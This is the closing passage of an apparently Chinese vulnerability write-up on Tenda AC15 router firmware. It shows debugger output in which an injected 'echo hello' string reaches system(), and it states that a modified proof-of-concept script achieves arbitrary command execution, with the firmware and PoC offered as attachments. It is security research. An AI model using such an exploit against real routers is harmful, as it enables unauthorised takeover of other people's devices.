- 00:0000│ r0 sp 0x407ffca8 ◂— svcvs #0x686365 /* 0x6f686365; 'echo hello' */
- 01:0004│ 0x407ffcac ◂— stclvs p8, c6, [r5], #-0x80 /* 0x6c656820; ' hello' */
- 02:0008│ 0x407ffcb0 —▸ 0x40006f6c ◂— 0
- 继续 si
- ──────────────────────────────────────[ DISASM ]──────────────────────────────────────
- ► 0x3fe3f270 <system> ldr r3, [pc, #0x144] <0x3fe3f270>
- 0x3fe3f274 <system+4> cmp r0, #0
- 0x3fe3f278 <system+8> push {r4, lr}
- 0x3fe3f27c <system+12> sub sp, sp, #0x28
- 0x3fe3f280 <system+16> str r0, [sp,
- 0x3fe3f284 <system+20> add r3, pc, r3
- 0x3fe3f288 <system+24> str r3, [sp,
- 0x3fe3f28c <system+28> beq #system+320 <system+320>


可见,执行 poc2 脚本后,设备端输出了 “hello” 字符串,可以任意命令执行。
附件内文件说明:
US_AC15V1.0BR_V15.03.1.16_multi_TD01.rar为官网提供的固件
poc为相关链接中下载的poc,其中poc2为自己修改尝试成功的版本
转自:iotsec-zone
附件下载
|
|